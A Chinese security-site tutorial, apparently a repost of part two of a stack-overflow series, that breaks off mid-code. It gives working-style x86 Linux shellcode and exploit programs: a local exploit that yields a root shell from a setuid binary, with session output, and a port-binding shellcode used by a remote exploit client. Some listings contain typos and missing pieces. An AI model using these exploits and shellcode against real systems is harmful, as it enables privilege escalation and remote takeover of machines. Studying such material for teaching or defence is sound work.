获取邀请码 | 基地首页 | 基地文章 | 基地动画 | 基地软件 | 技术论坛 | 会员学院
 
 
热门搜索:安全 安全工具 网络安全 会员培训 CMS建站网 安全
攻防总结免费资源网赚文章网管技巧防火墙技术端口入侵Sniffer嗅探arp技术
DDOS攻防3389攻防灰鸽子文章逆向工程破解实例加密技术脱壳技术溢出漏洞
serv-u漏洞社会工程学渗透技术跨站技术提权技术
 您现在的位置: 新世纪网安基地 >> 文章 >> 菜鸟宝典 >> 文章正文
堆栈溢出技术从入门到高深(二)
作者:admin    文章来源:转载    点击数:    更新时间:2007-12-18

章来源于 安全中国

三:利用堆栈溢出获得shell  

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,  
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。  
overflow1.c  
------------------------------------------------------------------------  
------  
char shellcode[] =  

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh"  

char large_string[128];  

void main() {  
char buffer[96];  
int i;  
long *long_ptr = (long *) large_string;  

for (i = 0; i < 32; i++)  
*(long_ptr + i) = (int) buffer;  

for (i = 0; i < strlen(shellcode); i++)  
large_string[i] = shellcode[i];  

strcpy(buffer,large_string);  
}  
------------------------------------------------------------------------  
------  
在执行完strcpy后,堆栈内容如下所示:  

内存底部 内存顶部  
buffer EBP ret  
<------ [SSS...SSSA ][A ][A ]A..A  
^&buffer  
栈顶部 堆栈底部  
注:S表示shellcode。  
A表示shellcode的地址。  

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们 
的shellcode。  


---------------------------------------------------------- 

利用堆栈溢出获得shell  

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们  
将面对  
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。  

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的  
strcpy  
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的  
开始地  
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的  
shellcode,从而我们得到了一个shell。  

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件  
事:  
1:把我们的shellcode提供给他,让他可以访问shellcode。  
2:修改他的返回地址为shellcode的入口地址。  

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer  
的地址。  
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开  
始地址  
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。  

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是  
相同的  
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程  
序堆栈  
的开始地址。  

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax  
寄存器  
里面):  
------------------------------------------------------------------------  
------  
unsigned long get_sp(void) {  
__asm__("movl %esp,%eax");  
}  
------------------------------------------------------------------------  
------  

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自  
己  
写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是  
几K  
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。  

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。  


前面我们用来覆盖堆栈的溢出字符串为:  
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
现在,为了提高命中率,我们对他进行如下改进:  
用来溢出的字符串变为:  
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA  
其中:  
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,  
NOP指令的机器码为0x90。  
S为shellcode。  
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到  
S.  
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))  

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到  

shell的程序:  
exploit1.c  
------------------------------------------------------------------------  
----  
#include<stdio.h>  
#include<stdlib.h>  

#define OFFSET 0  
#define RET_POSITION 1024  
#define RANGE 20  
#define NOP 0x90  

char shellcode[]=  
"\xeb\x1f" /* jmp 0x1f */  
"\x5e" /* popl %esi */  
"\x89\x76\x08" /* movl %esi,0x8(%esi) */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x88\x46\x07" /* movb %eax,0x7(%esi) */  
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */  
"\xb0\x0b" /* movb $0xb,%al */  
"\x89\xf3" /* movl %esi,%ebx */  
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */  
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */  
"\xcd\x80" /* int $0x80 */  
"\x31\xdb" /* xorl %ebx,%ebx */  
"\x89\xd8" /* movl %ebx,%eax */  
"\x40" /* inc %eax */  
"\xcd\x80" /* int $0x80 */  
"\xe8\xdc\xff\xff\xff" /* call -0x24 */  
"/bin/sh" /* .string \"/bin/sh\" */  

unsigned long get_sp(void)  
{  
__asm__("movl %esp,%eax");  
}  

main(int argc,char **argv)  
{  
char buff[RET_POSITION+RANGE+1],*ptr;  
long addr;  
unsigned long sp;  
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;  
int i;  

if(argc>1)  
offset=atoi(argv[1]);  

sp=get_sp();  
addr=sp-offset;  

for(i=0;i<bsize;i+=4)  
*((long *)&(buff[i]))=addr;  

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)  
buff[i]=NOP;  

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;  
for(i=0;i<strlen(shellcode);i++)  
*(ptr++)=shellcode[i];  
buff[bsize-1]="\0"  
//现在buff的内容为  
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0  

printf("Jump to 0x%08x\n",addr);  

execl("./vulnerable1","vulnerable1",buff,0);  
}  
------------------------------------------------------------------------  
----  
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,  
作为./vulnerable1的参数提供。  
以下是执行的结果:  
------------------------------------------------------------------------  
----  
[nkl10]$Content$nbsp;ls -l vulnerable1  
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*  
[nkl10]$Content$nbsp;ls -l exploit1  
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*  
[nkl10]$Content$nbsp;./exploit1  
Jump to 0xbfffec64  
Segmentation fault  
[nkl10]$Content$nbsp;./exploit1 500  
Jump to 0xbfffea70  
bash# whoami  
root  

bash#  
------------------------------------------------------------------------  
----  
恭喜,恭喜,你获得了root shell。  

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的  
shellcode。  

-------------------------------------------------------------- 

远程堆栈溢出  

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。  
我们  
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制  
(或者  
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。  

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击  
者来说  
,由于我们不在本地,这个sh我们并没有得到。  

因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,  
然后  
listen我们的连接,给我们一个远程shell的责任。  

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行  
)作为  
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进  
来后,  
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,  
我们  
远程的使用者就有了一个远程shell(跟telnet一样啦)。  

下面就是这个算法的C实现:  

opensocket.c  
------------------------------------------------------------------------  
----  
1#include<unistd.h>  
2#include<sys/socket.h>  
3#include<netinet/in.h>  

4int soc,cli,soc_len;  
5struct sockaddr_in serv_addr;  
6struct sockaddr_in cli_addr;  

7int main()  
8{  
9 if(fork()==0)  
10 {  
11 serv_addr.sin_family=AF_INET;  
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);  
13 serv_addr.sin_port=htons(30464);  
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  
15 bind(soc,(struct sockaddr *)&serv_addr,  
sizeof(serv_addr));  
16 listen(soc,1);  
17 soc_len=sizeof(cli_addr);  
18 cli=accept(soc,(struct sockaddr *)&cli_addr,  
&soc_len);  
19 dup2(cli,0);  
20 dup2(cli,1);  
21 dup2(cli,2);  
22 execl("/bin/sh","sh",0);  
23 }  
24}  
------------------------------------------------------------------------  
----  
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的  
pid,  
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子  
进程  
作为socket通信的执行者继续下面的操作。  

10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后  
调用  
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接  
。  

当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,  

标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了  

这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。

看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用  

gdb来反编译上面的程序:  

[nkl10]$Content$nbsp;gcc -o opensocket -static opensocket.c  
[nkl10]$Content$nbsp;gdb opensocket  
GNU gdb 4.17  
Copyright 1998 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License, and you  
are  
welcome to change it and/or distribute copies of it under certain  
conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show warranty" for  
details.  
This GDB was configured as "i386-redhat-linux"...  
(gdb) disassemble fork  
Dump of assembler code for function fork:  
0x804ca90 <fork>: movl $0x2,%eax  
0x804ca95 <fork+5>: int $0x80  
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax  
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>  
0x804caa2 <fork+18>: ret  
0x804caa3 <fork+19>: nop  
0x804caa4 <fork+20>: nop  
0x804caa5 <fork+21>: nop  
0x804caa6 <fork+22>: nop  
0x804caa7 <fork+23>: nop  
0x804caa8 <fork+24>: nop  
0x804caa9 <fork+25>: nop  
0x804caaa <fork+26>: nop  
0x804caab <fork+27>: nop  
0x804caac <fork+28>: nop  
0x804caad <fork+29>: nop  
0x804caae <fork+30>: nop  
0x804caaf <fork+31>: nop  
End of assembler dump.  
(gdb) disassemble socket  
Dump of assembler code for function socket:  
0x804cda0 <socket>: movl %ebx,%edx  
0x804cda2 <socket+2>: movl $0x66,%eax  
0x804cda7 <socket+7>: movl $0x1,%ebx  
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx  
0x804cdb0 <socket+16>: int $0x80  
0x804cdb2 <socket+18>: movl %edx,%ebx  
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax  
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>  
0x804cdbd <socket+29>: ret  
0x804cdbe <socket+30>: nop  
0x804cdbf <socket+31>: nop  
End of assembler dump.  
(gdb) disassemble bind  
Dump of assembler code for function bind:  
0x804cd60 <bind>: movl %ebx,%edx  
0x804cd62 <bind+2>: movl $0x66,%eax  
0x804cd67 <bind+7>: movl $0x2,%ebx  
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx  
0x804cd70 <bind+16>: int $0x80  
0x804cd72 <bind+18>: movl %edx,%ebx  
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax  
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>  
0x804cd7d <bind+29>: ret  
0x804cd7e <bind+30>: nop  
0x804cd7f <bind+31>: nop  
End of assembler dump.  
(gdb) disassemble listen  
Dump of assembler code for function listen:  
0x804cd80 <listen>: movl %ebx,%edx  
0x804cd82 <listen+2>: movl $0x66,%eax  
0x804cd87 <listen+7>: movl $0x4,%ebx  
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx  
0x804cd90 <listen+16>: int $0x80  
0x804cd92 <listen+18>: movl %edx,%ebx  
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax  
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>  
0x804cd9d <listen+29>: ret  
0x804cd9e <listen+30>: nop  
0x804cd9f <listen+31>: nop  
End of assembler dump.  
(gdb) disassemble accept  
Dump of assembler code for function __accept:  
0x804cd40 <__accept>: movl %ebx,%edx  
0x804cd42 <__accept+2>: movl $0x66,%eax  
0x804cd47 <__accept+7>: movl $0x5,%ebx  
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx  
0x804cd50 <__accept+16>: int $0x80  
0x804cd52 <__accept+18>: movl %edx,%ebx  
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax  
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>  
0x804cd5d <__accept+29>: ret  
0x804cd5e <__accept+30>: nop  
0x804cd5f <__accept+31>: nop  
End of assembler dump.  
(gdb) disassemble dup2  
Dump of assembler code for function dup2:  
0x804cbe0 <dup2>: movl %ebx,%edx  
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx  
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx  
0x804cbea <dup2+10>: movl $0x3f,%eax  
0x804cbef <dup2+15>: int $0x80  
0x804cbf1 <dup2+17>: movl %edx,%ebx  
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax  
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>  
0x804cbfe <dup2+30>: ret  
0x804cbff <dup2+31>: nop  
End of assembler dump.  

现在可以写上面c代码的汇编语句了。  


fork()的汇编代码  
------------------------------------------------------------------------  
----  
char code[]=  
"\x31\xc0" /* xorl %eax,%eax */  
"\xb0\x02" /* movb $0x2,%al */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

socket(2,1,6)的汇编代码  
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6  
------------------------------------------------------------------------  
----  
/* socket使用66号系统调用,1号子调用。 */  
/* 他使用一段内存块来传递参数2,1,6。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x31\xc0" /* xorl %eax,%eax */  
"\x31\xdb" /* xorl %ebx,%ebx */  
"\x89\xf1" /* movl %esi,%ecx */  
"\xb0\x02" /* movb $0x2,%al */  
"\x89\x06" /* movl %eax,(%esi) */  
/* 第一个参数 */  
/* %esi 指向一段未使用的内存空间 */  
"\xb0\x01" /* movb $0x1,%al */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数 */  
"\xb0\x06" /* movb $0x6,%al */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
/* 第三个参数. */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x01" /* movb $0x1,%bl */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码  
------------------------------------------------------------------------  
----  
/* bind使用66号系统调用,2号子调用。 */  
/* 他使用一段内存块来传递参数。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x89\xf1" /* movl %esi,%ecx */  
"\x89\x06" /* movl %eax,(%esi) */  
/* %eax 的内容为刚才socket调用的返回值, */  
/* 就是soc文件描述符,作为第一个参数 */  
"\xb0\x02" /* movb $0x2,%al */  
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */  
/* serv_addr.sin_family=AF_NET(2) */  
/* 2 放在 0xc(%esi). */  
"\xb0\x77" /* movb $0x77,%al */  
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */  
/* 端口号(0x7700=30464)放在 0xe(%esi) */  
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */  
/* %eax = serv_addr 的地址 */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数. */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x89\x46\x10" /* movl %eax,0x10(%esi) */  
/* serv_addr.sin_addr.s_addr=0 */  
"\xb0\x10" /* movb $0x10,%al */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
/* 第三个参数 . */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x02" /* movb $0x2,%bl */  
"\xcd\x80" /* int $0x80 */  
----------------

listen(soc,1)的汇编代码  
------------------------------------------------------------------------  
----  
/* listen使用66号系统调用,4号子调用。 */  
/* 他使用一段内存块来传递参数。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x89\xf1" /* movl %esi,%ecx */  
"\x89\x06" /* movl %eax,(%esi) */  
/* %eax 的内容为刚才socket调用的返回值, */  
/* 就是soc文件描述符,作为第一个参数 */  
"\xb0\x01" /* movb $0x1,%al */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数. */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x04" /* movb $0x4,%bl */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

accept(soc,0,0)的汇编代码  
------------------------------------------------------------------------  
----  
/* accept使用66号系统调用,5号子调用。 */  
/* 他使用一段内存块来传递参数。 */  
/* %ecx 里面为这个内存块的地址指针. */  
char code[]=  
"\x89\xf1" /* movl %esi,%ecx */  
"\x89\xf1" /* movl %eax,(%esi) */  
/* %eax 的内容为刚才socket调用的返回值, */  
/* 就是soc文件描述符,作为第一个参数 */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
/* 第二个参数. */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
/* 第三个参数. */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x05" /* movb $0x5,%bl */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

dup2(cli,0)的汇编代码  
------------------------------------------------------------------------  
----  
/* 第一个参数为 %ebx, 第二个参数为 %ecx */  
char code[]=  
/* %eax 里面是刚才accept调用的返回值, */  
/* 客户的文件描述符cli . */  
"\x88\xc3" /* movb %al,%bl */  
"\xb0\x3f" /* movb $0x3f,%al */  
"\x31\xc9" /* xorl %ecx,%ecx */  
"\xcd\x80" /* int $0x80 */  
------------------------------------------------------------------------  
----  

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。  

new shellcode  
------------------------------------------------------------------------  
----  
char shellcode[]=  
00 "\x31\xc0" /* xorl %eax,%eax */  
02 "\xb0\x02" /* movb $0x2,%al */  
04 "\xcd\x80" /* int $0x80 */  
06 "\x85\xc0" /* testl %eax,%eax */  
08 "\x75\x43" /* jne 0x43 */  
/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */  
/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */  
0a "\xeb\x43" /* jmp 0x43 */  
/* 当fork()==0 的时候,表明是子进程 */  
/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */  

0c "\x5e" /* popl %esi */  
0d "\x31\xc0" /* xorl %eax,%eax */  
0f "\x31\xdb" /* xorl %ebx,%ebx */  
11 "\x89\xf1" /* movl %esi,%ecx */  
13 "\xb0\x02" /* movb $0x2,%al */  
15 "\x89\x06" /* movl %eax,(%esi) */  
17 "\xb0\x01" /* movb $0x1,%al */  
19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
1c "\xb0\x06" /* movb $0x6,%al */  
1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */  
21 "\xb0\x66" /* movb $0x66,%al */  
23 "\xb3\x01" /* movb $0x1,%bl */  
25 "\xcd\x80" /* int $0x80 */  
/* 执行socket(),eax里面为返回值soc文件描述符 */  

27 "\x89\x06" /* movl %eax,(%esi) */  
29 "\xb0\x02" /* movb $0x2,%al */  
2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */  
2f "\xb0\x77" /* movb $0x77,%al */  
31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */  
35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */  
38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
3b "\x31\xc0" /* xorl %eax,%eax */  
3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */  
40 "\xb0\x10" /* movb $0x10,%al */  
42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */  
45 "\xb0\x66" /* movb $0x66,%al */  
47 "\xb3\x02" /* movb $0x2,%bl */  
49 "\xcd\x80" /* int $0x80 */  
/* 执行bind() */  

4b "\xeb\x04" /* jmp 0x4 */  
/* 越过下面的两个跳转 */  

4d "\xeb\x55" /* jmp 0x55 */  
/* 跳到0x4f+0x55=0xa4 */  

4f "\xeb\x5b" /* jmp 0x5b */  
/* 跳到0x51+0x5b=0xac */  

51 "\xb0\x01" /* movb $0x1,%al */  
53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
56 "\xb0\x66" /* movb $0x66,%al */  
58 "\xb3\x04" /* movb $0x4,%bl */  
5a "\xcd\x80" /* int $0x80 */  
/* 执行listen() */  

5c "\x31\xc0" /* xorl %eax,%eax */  
5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */  
64 "\xb0\x66" /* movb $0x66,%al */  
66 "\xb3\x05" /* movb $0x5,%bl */  
68 "\xcd\x80" /* int $0x80 */  
/* 执行accept(),eax里面为返回值cli文件描述符 */  

6a "\x88\xc3" /* movb %al,%bl */  
6c "\xb0\x3f" /* movb $0x3f,%al */  
6e "\x31\xc9" /* xorl %ecx,%ecx */  
70 "\xcd\x80" /* int $0x80 */  
72 "\xb0\x3f" /* movb $0x3f,%al */  
74 "\xb1\x01" /* movb $0x1,%cl */  
76 "\xcd\x80" /* int $0x80 */  
78 "\xb0\x3f" /* movb $0x3f,%al */  
7a "\xb1\x02" /* movb $0x2,%cl */  
7c "\xcd\x80" /* int $0x80 */  
/* 执行三个dup2() */  

7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */  
/* %eax="/bin" */  
83 "\x89\x06" /* movl %eax,(%esi) */  
85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */  
/* %eax="/sh/" */  
8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */  
8d "\x31\xc0" /* xorl %eax,%eax */  
8f "\x88\x46\x07" /* movb %al,0x7(%esi) */  
92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */  
95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */  
98 "\xb0\x0b" /* movb $0xb,%al */  
9a "\x89\xf3" /* movl %esi,%ebx */  
9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */  
9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */  
a2 "\xcd\x80" /* int $0x80 */  
/* 执行execve() */  
/* 运行/bin/sh() */  

a4 "\x31\xc0" /* xorl %eax,%eax */  
a6 "\xb0\x01" /* movb $0x1,%al */  
a8 "\x31\xdb" /* xorl %ebx,%ebx */  
aa "\xcd\x80" /* int $0x80 */  
/* 执行exit() */  

ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */  
/* 执行0x0c处的指令 */  

 

--------------------------------------------------------  

b1  
------------------------------------------------------------------------  
----  

好,长长的shell终于写完了,下面就是攻击程序了。  

exploit4.c  
------------------------------------------------------------------------  
----  
#include<stdio.h>  
#include<stdlib.h>  
#include<unistd.h>  
#include<netdb.h>  
#include<netinet/in.h>  

#define ALIGN 0  
#define OFFSET 0  
#define RET_POSITION 1024  
#define RANGE 200  
#define NOP 0x90  

char shellcode[]=  
"\x31\xc0" /* xorl %eax,%eax */  
"\xb0\x02" /* movb $0x2,%al */  
"\xcd\x80" /* int $0x80 */  
"\x85\xc0" /* testl %eax,%eax */  
"\x75\x43" /* jne 0x43 */  
"\xeb\x43" /* jmp 0x43 */  
"\x5e" /* popl %esi */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x31\xdb" /* xorl %ebx,%ebx */  
"\x89\xf1" /* movl %esi,%ecx */  
"\xb0\x02" /* movb $0x2,%al */  
"\x89\x06" /* movl %eax,(%esi) */  
"\xb0\x01" /* movb $0x1,%al */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
"\xb0\x06" /* movb $0x6,%al */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x01" /* movb $0x1,%bl */  
"\xcd\x80" /* int $0x80 */  
"\x89\x06" /* movl %eax,(%esi) */  
"\xb0\x02" /* movb $0x2,%al */  
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */  
"\xb0\x77" /* movb $0x77,%al */  
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */  
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x89\x46\x10" /* movl %eax,0x10(%esi) */  
"\xb0\x10" /* movb $0x10,%al */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x02" /* movb $0x2,%bl */  
"\xcd\x80" /* int $0x80 */  
"\xeb\x04" /* jmp 0x4 */  
"\xeb\x55" /* jmp 0x55 */  
"\xeb\x5b" /* jmp 0x5b */  
"\xb0\x01" /* movb $0x1,%al */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x04" /* movb $0x4,%bl */  
"\xcd\x80" /* int $0x80 */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
"\x89\x46\x08" /* movl %eax,0x8(%esi) */  
"\xb0\x66" /* movb $0x66,%al */  
"\xb3\x05" /* movb $0x5,%bl */  
"\xcd\x80" /* int $0x80 */  
"\x88\xc3" /* movb %al,%bl */  
"\xb0\x3f" /* movb $0x3f,%al */  
"\x31\xc9" /* xorl %ecx,%ecx */  
"\xcd\x80" /* int $0x80 */  
"\xb0\x3f" /* movb $0x3f,%al */  
"\xb1\x01" /* movb $0x1,%cl */  
"\xcd\x80" /* int $0x80 */  
"\xb0\x3f" /* movb $0x3f,%al */  
"\xb1\x02" /* movb $0x2,%cl */  
"\xcd\x80" /* int $0x80 */  
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */  
"\x89\x06" /* movl %eax,(%esi) */  
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */  
"\x89\x46\x04" /* movl %eax,0x4(%esi) */  
"\x31\xc0" /* xorl %eax,%eax */  
"\x88\x46\x07" /* movb %al,0x7(%esi) */  
"\x89\x76\x08" /* movl %esi,0x8(%esi) */  
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */  
"\xb0\x0b" /* movb $0xb,%al */  
"\x89\xf3" /* movl %esi,%ebx */  
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */  
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */  
"\xcd\x80" /* int $0x80 */  
"\x31\xc0" /* xorl %eax,%eax */  
"\xb0\x01" /* movb $0x1,%al */  
"\x31\xdb" /* xorl %ebx,%ebx */  
"\xcd\x80" /* int $0x80 */  
"\xe8\x5b\xff\xff\xff" /* call -0xa5 */  

unsigned long get_sp(void)  
{  
__asm__("movl %esp,%eax");  
}  

long getip(char *name)  
{  
struct hostent *hp;  
long ip;  
if((ip=inet_addr(name))==-1)  
{  
if((hp=gethostbyname(name))==NULL)  
{  
fprintf(stderr,"Can"t resolve host.\n");  
exit(0);  
}  
memcpy(&ip,(hp->h_addr),4);  
}  
return ip;  
}  

int exec_sh(int sockfd)  
{  
char snd[4096],rcv[4096];  
fd_set rset;  
while(1)  
{  
FD_ZERO(&rset);  
FD_SET(fileno(stdin),&rset);  
FD_SET(sockfd,&rset);  
select(255,&rset,NULL,NULL,NULL);  
if(FD_ISSET(fileno(stdin),&rset))  
{  
memset(snd,0,sizeof(snd));  
fgets(snd,sizeof(snd),stdin);  
write(sockfd,snd,strlen(snd));  
}  
if(FD_ISSET(sockfd,&rset))  
{  
memset(rcv,0,sizeof(rcv));  
if(read(sockfd,rcv,sizeof(rcv))<=0)  
exit(0);  
fputs(rcv,stdout);  
}  
}  
}  

int connect_sh(long ip)  
{  
int sockfd,i;  
struct sockaddr_in sin;  
printf("Connect to the shell\n");  
fflush(stdout);  
memset(&sin,0,sizeof(sin));  
sin.sin_family=AF_INET;  
sin.sin_port=htons(30464);  
sin.sin_addr.s_addr=ip;  
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)  
{  
printf("Can"t create socket\n");  
exit(0);  
}  
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)  
{  
printf("Can"t connect to the shell\n");  
exit(0);  
}  
return sockfd;  
}  

void main(int argc,char **argv)  
{  
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;  
long addr;  
unsigned long sp;  
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;  
int i;  
int sockfd;  

if(argc>1)  
offset=atoi(argv[1]);  

sp=get_sp();  
addr=sp-offset;  

for(i=0;i<bsize;i+=4)  
{  
buff[i+ALIGN]=(addr&0x000000ff);  
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;  
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;  
